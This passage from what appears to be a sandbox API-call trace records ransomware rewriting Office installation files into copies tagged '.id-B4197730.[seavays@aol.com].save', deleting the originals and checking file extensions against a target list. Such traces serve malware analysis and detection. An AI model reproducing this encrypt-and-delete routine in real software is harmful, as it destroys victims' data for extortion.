lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x230, lpOverlapped=0x0) returned 1 [0178.936] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.936] WriteFile (in: hFile=0x378, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10c, lpOverlapped=0x0) returned 1 [0178.936] SetEndOfFile (hFile=0x378) returned 1 [0178.936] CloseHandle (hObject=0x378) returned 1 [0178.936] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.936] SetEndOfFile (hFile=0x370) returned 1 [0178.941] CloseHandle (hObject=0x370) returned 1 [0178.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.943] lstrlenW (lpString=".doc") returned 4 [0178.943] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0178.943] lstrlenW (lpString=".docx") returned 5 [0178.943] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0178.943] lstrlenW (lpString=".pdf") returned 4 [0178.943] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0178.943] lstrlenW (lpString=".xls") returned 4 [0178.943] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0178.943] lstrlenW (lpString=".xlsx") returned 5 [0178.943] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0178.943] lstrlenW (lpString=".ppt") returned 4 [0178.943] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0178.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.943] lstrlenW (lpString=".zip") returned 4 [0178.943] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0178.943] lstrlenW (lpString=".rar") returned 4 [0178.944] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString=".bz2") returned 4 [0178.944] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString=".7z") returned 3 [0178.944] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.944] lstrlenW (lpString=".dbf") returned 4 [0178.944] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.944] lstrlenW (lpString=".1cd") returned 4 [0178.944] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.944] lstrlenW (lpString=".jpg") returned 4 [0178.944] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.944] lstrlenW (lpString=".doc") returned 4 [0178.944] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString=".docx") returned 5 [0178.944] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0178.944] lstrlenW (lpString=".pdf") returned 4 [0178.944] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString=".xls") returned 4 [0178.944] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString=".xlsx") returned 5 [0178.944] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0178.944] lstrlenW (lpString=".ppt") returned 4 [0178.944] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0178.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.945] lstrlenW (lpString=".zip") returned 4 [0178.945] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0178.945] lstrlenW (lpString=".rar") returned 4 [0178.945] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0178.945] lstrlenW (lpString=".bz2") returned 4 [0178.945] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0178.945] lstrlenW (lpString=".7z") returned 3 [0178.945] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.945] lstrlenW (lpString=".dbf") returned 4 [0178.945] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.945] lstrlenW (lpString=".1cd") returned 4 [0178.945] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0178.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0178.945] lstrlenW (lpString=".jpg") returned 4 [0178.945] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0178.945] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0178.945] lstrlenW (lpString="Windows8-RT-KB2999226-x86.msu") returned 29 [0178.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.948] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=615304) returned 1 [0178.948] CloseHandle (hObject=0x370) returned 1 [0178.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0178.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.949] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.949] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0178.951] GetLastError () returned 0x0 [0178.951] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x96388, lpOverlapped=0x0) returned 1 [0179.233] WriteFile (in: hFile=0x378, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x96390, lpOverlapped=0x0) returned 1 [0179.252] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.253] WriteFile (in: hFile=0x378, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0179.253] SetEndOfFile (hFile=0x378) returned 1 [0179.253] CloseHandle (hObject=0x378) returned 1 [0179.253] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.253] SetEndOfFile (hFile=0x370) returned 1 [0179.459] CloseHandle (hObject=0x370) returned 1 [0179.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.345] lstrlenW (lpString=".doc") returned 4 [0180.345] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.345] lstrlenW (lpString=".docx") returned 5 [0180.345] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0180.345] lstrlenW (lpString=".pdf") returned 4 [0180.346] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.346] lstrlenW (lpString=".xls") returned 4 [0180.346] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.346] lstrlenW (lpString=".xlsx") returned 5 [0180.346] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0180.346] lstrlenW (lpString=".ppt") returned 4 [0180.346] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.346] lstrlenW (lpString=".zip") returned 4 [0180.346] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.346] lstrlenW (lpString=".rar") returned 4 [0180.346] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.346] lstrlenW (lpString=".bz2") returned 4 [0180.346] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.346] lstrlenW (lpString=".7z") returned 3 [0180.346] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.346] lstrlenW (lpString=".dbf") returned 4 [0180.346] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.346] lstrlenW (lpString=".1cd") returned 4 [0180.346] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.347] lstrlenW (lpString=".jpg") returned 4 [0180.347] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.347] lstrlenW (lpString=".doc") returned 4 [0180.347] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.347] lstrlenW (lpString=".docx") returned 5 [0180.347] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0180.347] lstrlenW (lpString=".pdf") returned 4 [0180.347] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.347] lstrlenW (lpString=".xls") returned 4 [0180.347] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.347] lstrlenW (lpString=".xlsx") returned 5 [0180.347] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0180.347] lstrlenW (lpString=".ppt") returned 4 [0180.347] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.347] lstrlenW (lpString=".zip") returned 4 [0180.347] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.347] lstrlenW (lpString=".rar") returned 4 [0180.347] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.348] lstrlenW (lpString=".bz2") returned 4 [0180.348] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.348] lstrlenW (lpString=".7z") returned 3 [0180.348] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.348] lstrlenW (lpString=".dbf") returned 4 [0180.348] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.348] lstrlenW (lpString=".1cd") returned 4 [0180.348] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0180.348] lstrlenW (lpString=".jpg") returned 4 [0180.348] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.348] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0180.348] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28 [0180.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0180.464] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=595977) returned 1 [0180.464] CloseHandle (hObject=0x518) returned 1 [0180.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0180.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0180.466] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.466] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0180.468] GetLastError () returned 0x0 [0180.468] ReadFile (in: hFile=0x518, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x91809, lpOverlapped=0x0) returned 1 [0180.686] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x91810, lpOverlapped=0x0) returned 1 [0180.703] ReadFile (in: hFile=0x518, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.703] WriteFile (in: hFile=0x544, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10c, lpOverlapped=0x0) returned 1 [0180.703] SetEndOfFile (hFile=0x544) returned 1 [0180.853] CloseHandle (hObject=0x544) returned 1 [0180.853] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.854] SetEndOfFile (hFile=0x518) returned 1 [0181.073] CloseHandle (hObject=0x518) returned 1 [0181.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0181.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.075] lstrlenW (lpString=".doc") returned 4 [0181.075] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0181.075] lstrlenW (lpString=".docx") returned 5 [0181.075] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0181.076] lstrlenW (lpString=".pdf") returned 4 [0181.076] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0181.076] lstrlenW (lpString=".xls") returned 4 [0181.076] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0181.076] lstrlenW (lpString=".xlsx") returned 5 [0181.076] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0181.076] lstrlenW (lpString=".ppt") returned 4 [0181.076] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0181.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.076] lstrlenW (lpString=".zip") returned 4 [0181.076] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0181.076] lstrlenW (lpString=".rar") returned 4 [0181.076] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0181.076] lstrlenW (lpString=".bz2") returned 4 [0181.076] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0181.076] lstrlenW (lpString=".7z") returned 3 [0181.076] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0181.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.076] lstrlenW (lpString=".dbf") returned 4 [0181.076] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0181.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.076] lstrlenW (lpString=".1cd") returned 4 [0181.076] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0181.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.076] lstrlenW (lpString=".jpg") returned 4 [0181.076] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0181.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.077] lstrlenW (lpString=".doc") returned 4 [0181.077] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0181.077] lstrlenW (lpString=".docx") returned 5 [0181.077] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0181.077] lstrlenW (lpString=".pdf") returned 4 [0181.077] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0181.077] lstrlenW (lpString=".xls") returned 4 [0181.077] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0181.077] lstrlenW (lpString=".xlsx") returned 5 [0181.077] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0181.077] lstrlenW (lpString=".ppt") returned 4 [0181.077] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0181.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.077] lstrlenW (lpString=".zip") returned 4 [0181.077] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0181.077] lstrlenW (lpString=".rar") returned 4 [0181.077] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0181.077] lstrlenW (lpString=".bz2") returned 4 [0181.077] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0181.077] lstrlenW (lpString=".7z") returned 3 [0181.077] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0181.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.077] lstrlenW (lpString=".dbf") returned 4 [0181.077] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0181.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.077] lstrlenW (lpString=".1cd") returned 4 [0181.077] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0181.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0181.077] lstrlenW (lpString=".jpg") returned 4 [0181.078] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0181.078] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.078] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27 [0181.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0181.079] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=20780) returned 1 [0181.080] CloseHandle (hObject=0x518) returned 1 [0181.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0181.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0181.080] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.080] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.082] GetLastError () returned 0x0 [0181.082] ReadFile (in: hFile=0x518, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x512c, lpOverlapped=0x0) returned 1 [0181.084] WriteFile (in: hFile=0x388, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5130, lpOverlapped=0x0) returned 1 [0181.086] ReadFile (in: hFile=0x518, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.086] WriteFile (in: hFile=0x388, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 